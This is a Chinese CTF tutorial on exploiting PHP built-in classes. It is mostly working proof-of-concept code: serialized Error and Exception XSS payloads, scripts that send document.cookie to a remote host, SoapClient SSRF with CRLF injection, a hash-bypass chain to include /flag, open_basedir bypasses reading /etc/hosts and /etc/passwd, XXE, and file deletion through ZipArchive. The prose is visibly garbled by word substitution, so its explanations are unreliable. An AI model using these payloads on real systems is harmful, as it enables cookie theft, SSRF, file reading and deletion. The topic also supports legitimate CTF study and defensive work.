//test.php<?php$str = unserialize($_GET[&#39;cmd']);echo $str;?>

很明显是一个反序列化问题,但是没有可以利用的魔术方法

我们利用Error类触发个中的__toString()方法

//POC<?php$str = new Error(&#34;<script>alert("xss_successful")</script>");echo urlencode(serialize($str));//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

GET传参:成功实行js

php内置类PHP内置类的名堂应用 AJAX

Exception类

条件:

php5/php7版本开启报错

同样具有__toString()魔术方法

测试:

<?phphighlight_file(__FILE__);$str = unserialize($_GET['cmd']);echo $str;?>

POC:

<?php$str = new Exception("<script>alert('xss_successful')</script>");echo urlencode(serialize($str));?>//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

GET传参

成功实行

例题

xss之光

打开题目便是gungungun

我们进行信息网络,创造了git透露

python2 GitHack.py http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/.git/

得到index.php

//index.php<?php$a = $_GET['yds_is_so_beautiful'];echo unserialize($a);

很明显有一个unserialize()函数,但是没有魔术方法可以利用,我们可以想到利用PHP内置类,通过echo来触发内置类中的__toString()魔术方法来实现反序列化

而且可以不雅观察到X-Powered-By字段透露了利用了php5版本

以是我们利用Exception()内置类进行xss

我们利用xss将cookie带出来

利用window.open()打开新窗口的方法带出cookie利用window.location.href='url'实现恶意跳转带出cookie利用alert(document.cookie)通过弹窗弹出cookie

//payload<?php$str = new Exception("<script>window.open('http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/?'+document.cookie);</script>");echo urlencode(serialize($str));?> <?php$str = new Exception("<script>window.location.href='http://4359bb0c-611c-4df8-a0e5-2545a73fc9fd.node4.buuoj.cn:81/?'+document.cookie</script>");echo urlencode(serialize($str));?> <?php$str = new Exception("<script>alert(document.cookie)</script>");echo urlencode(serialize($str));?>//如果开启了httponly是不能够成功的

效果:

绕过哈希比较Error/Exception类

差异:

Error是用于php7, Exception类适用于php5/php7

__toString()将缺点的工具非常或者缺点的工具转化为字符串

Error为例:

<?php$a = new Error("aaa", 1);echo $a;?>

抛出了缺点,个中的2是对应的行号,但是我们可以创造个中的缺点工具1并没有输出

之后测试

<?php$a = new Error("aaa", 1); $b = new Error("aaa", 2);echo $a;echo "\n\n";echo $b;?>

结果图:

我们创造$a,$b中的缺点工具并不相同,但是返回的是相同的

这里必须要担保这个两个Error类在同一行,不然返回的值不一样

例题

极客大寻衅2020 Greatphp

打开题目

<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ //过滤了<?php ( ) " ' eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}?>

我们利用<?=绕过<?php

php标签的几种写法: <?php ?> <?php <? ?> //须要php.ini中开启short_open_tag=On <?= ?> <% %> //须要php.ini中开启asp_tags=On <script language="php">xxx</script>

禁用了括号,不能利用函数,我们利用include "/flag"包含他

但是同时过滤了引号,我们进行取反

<?php$str = "/flag";echo urlencode(~$str);?> //%D0%99%93%9E%98

O对了,还有如果对一个类求他的哈希值,就会触发他的__toString()魔术方法,我们就可以利用前面说的方法绕过sha1和md5的比较

//POC:<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}$payload = "?><?=include~".urldecode('%D0%99%93%9E%98')."?>";$str = new SYCLOVER();$str->syc = new Exception($payload, 1); $str->lover = new Exception($payload, 2);//这里的php版本是7,以是Error和Exception类都可以利用echo urlencode(serialize($str));?>

GET传参之后

成功实行payload,得到flag

利用SoapClient类SSRFSoapClient类学习

php5/php7/php8

我们可以看到有一个__call()魔术方法,如果调用触发这个 魔术方法,他会发送http/https要求

这个类的布局方法:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,个中location是要将要求发送到的SOAP做事器的URL,而uri是SOAP做事的目标命名空间。
SSRF测试

<?php//须要php.ini中加载php_soap.dll扩展$a = new SoapClient(null, array( 'location' => 'http://yourip:port/aaa', 'uri' => 'http://yourip:port'));$b = serialize($a);echo $b;$c = unserialize($b);$c->aaaa();//触发__call魔术方法?>

开启端口监听

成功SSRF

个中创造SOAPAction头参数可控

如果我们合营CRLF漏洞的话就可以设置POST要求的body就可以掌握

<?php$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nPOST_request_body\r\n", 'location'=>'http://127.0.0.1:5555/path'));$b = serialize($a);echo $b;$c = unserialize($b);$c->not_exists_function();?>

但是Content-Type在SOAPAction的上面,我们就不能掌握POST要求的数据

个中我们创造User-Agent在Content-Type的上面,而且彷佛也可控

<?php$target = 'http://127.0.0.1:5555/path';$post_string = 'data=something';$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=my_session' );$b = new SoapClient(null,array('location' => $target,'user_agent'=>'RoboTerh^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$aaa = serialize($b);$aaa = str_replace('^^',"\r\n",$aaa);$aaa = str_replace('&','&',$aaa);echo $aaa;$c = unserialize($aaa);$c->not_exists_function();?>

实现了任意POST要求

当然,在攻击redis的时候也可以通过这种方法插入redis命令

例题

bestphp's revenge

打开题目

<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name'];}var_dump($_SESSION);$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');call_user_func($b, $a);?>

通过目录扫描得到/flag.php

很明显须要我们ssrf来访问个中的/flag.php

但是没有ssrf的利用点

我们可以想到利用php原生类SoapClient来触发个中的__call()魔术方法来进行ssrf得到flag

由于他是把得到的flag放在session中的,我们就须要设置一个cookie来访问这个session文件进而得到flag

<?php$str = "http://127.0.0.1/flag.php";$a = new SoapClient(null, array( 'location' => $str, 'uri' => "http://127.0.0.1", 'user_agent' => "RoboTerh\r\ncookie: PHPSESSID=123456\r\n"));$payload = urlencode(serialize($a));echo "|".$payload;?>//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A40%3A%22RoboTerh%5Cr%5Cncookie%3A+PHPSESSID%3D123456%5Cr%5Cn%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

天生了反序列化的payload,但是从哪里进行反序列化入口呢

题目中和session有关,想到session反序列化这个路子

//session.serialize_handler=php<?phpsession_start();$_SESSION['name'] = 'RoboTerh';?>

得到

name|s:8:"RoboTerh";

//session.serialize_handler=php_serialize<?phpsession_start();$_SESSION['name'] = 'RoboTerh';?>

得到session文件内容

a:1:{s:4:"name";s:8:"RoboTerh";}

当序列化和反序列化的时候利用不同的引擎就会导致session反序列化漏洞触发

当我们传入

$_SEESION['key'] = '|value';

那么利用php_serialize的到序列化内容为

a:1:{s:3:'key';s:6:'|value';}

如果用php引擎来进行反序列化的时候,用|分隔键名和键值的内容

key为:

a:1:{s:3:'key';s:6:'|

value为:

value';}

则:

| + 序列化内容就可以触发漏洞

要进行session反序列化,就须要将反序列化引擎修正为php_serialize(默认为php)

call_user_func($_GET['f'], $_POST)

call_user_func()是一个回调函数,则可以构建session反序列化

成功设置了PHPSESSIONID=123456

但是没有触发SSRF漏洞,我们须要访问一个不存在的函数触发__call()魔术方法,进而进行SSRF

创造

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a);

我们须要触发session工具的__call()方法,而且call_user_func()函数有一个特性便是:如果传入的是一个数组的话,会将数组的第一个参数当作类名,第二个参数当作函数名

以是我们可以通过extract()函数将变量b覆盖为call_user_func这样就变成了call_user_func(call_user_func, array(reset($SESSION), 'welcome_to_the_lctf2018')),这样就会触发__call()这个魔术方法,进而实现SSRF

成功触发了__call()方法

之后我们传入PHPSESSIONID值,利用var_dump($_SESSION)来得到flag的值

绕过open_basedir利用DirectoryIterator类目录遍历

DirectoryIterator原生类中有一个魔术方法__toString(),触发这个方法将会返回这个迭代器的第一项

测试

//test.php<?php$a = $_GET['a'];$b = $_GET['b'];echo new $a($b); //触发__toString方法?>

GET传参a=DirectoryIterator&b=.

结果如下

如果这时候合营上glob://伪协议

支持通配符 ? 支持正则匹配 [a-z]

结果如下

当然,不止一个test开头的文件,他只是返回了第一个文件

//test.php<?php$dir = $_GET['cmd'];$a = new DirectoryIterator($dir);foreach($a as $f){ echo ($f->__toString().'<BR>');}# payload一句话的形式:# $a = new DirectoryIterator("glob:///");foreach($a as $f){echo($f->__toString().'<br>');}?>

通过迭代,可以遍历文件

利用FilesystemIterator类目录遍历用法

和上面的用法类似

利用GlobIterator类目录遍历用法

这个原生类是自带glob的,以是,我们只须要传入glob协议后面的内容就可以了

利用SplFileObject类读取文件测试

<?phphighlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];echo new $a($b);?>

GET传参a=SplFileObject&b=test.html

test.html内容为

我们创造只读取了第一行的内容

这个类的布局函数传入的是一个文件名,想到可以利用php伪协议

成功利用伪协议读取文件内容

非原生类读取open_basedir限定文件ini_set() + 相对路径读取

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

<?phpshow_source(__FILE__);print_r(ini_get('open_basedir').'<br>');mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');?>

若open_basedir限定到了当前目录,就须要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不须要,由于限定到了当前目录再设置为..就会出错。
之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,末了跳到了根目录,再将open_basedir设置到根目录即可

shell命令实行读取文件操作

cat /etc/passwd

symlink()软链接

当前路径是/www/wwwroot/default,新建目录数量=须要上跳次数+1

<?php show_source(__FILE__); mkdir("1");chdir("1"); mkdir("2");chdir("2"); mkdir("3");chdir("3"); mkdir("4");chdir("4"); chdir("..");chdir("..");chdir("..");chdir(".."); symlink("1/2/3/4","tmplink"); symlink("tmplink/../../../../etc/hosts","bypass"); unlink("tmplink"); mkdir("tmplink"); echo file_get_contents("bypass");?>

symlink会天生一个快捷办法,首先明确须要上跳三次,建四个目录,然后天生软连接symlink("1/2/3/4","tmplink"),然后再天生symlink("tmplink/../../../../etc/hosts","bypass");,化简一下也便是etc/hosts,在当前目录下,因此通过了open_basedir创建成功

之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简便是/etc/hosts

关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接

XXE漏洞利用SimpleXMLElement

PHP 5, PHP 7, PHP 8

布局函数

public SimpleXMLElement::__construct(string$data,int$options= 0,bool$dataIsURL= false,string$namespaceOrPrefix= "",bool$isPrefix= false)

data为xml格式的字符串,也可以是外部的url,我们设置data_is_url为true就可以利用url方法

删除文件利用利用ZipArchive类进行删除

php5.20之后

这个类有一个open方法

ZipArchive::open(string $filename, int $flags=0)

参数阐明

filename: 要打开的zip文件名

flags: 打开模式:

ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包实行额外的同等性检讨,如果失落败则显示缺点。

如果设置flags参数的值为ZipArchive::OVERWRITE的话,可以把指定文件删除。

这里flags同样可以利用8来表示ZipArchive::OVERITE

Reflection的妙用

利用反射类得到已知类的方法和信息Reflection类的利用 https://www.php.net/manual/zh/book.reflection.php

from https://www.freebuf.com/articles/web/356530.html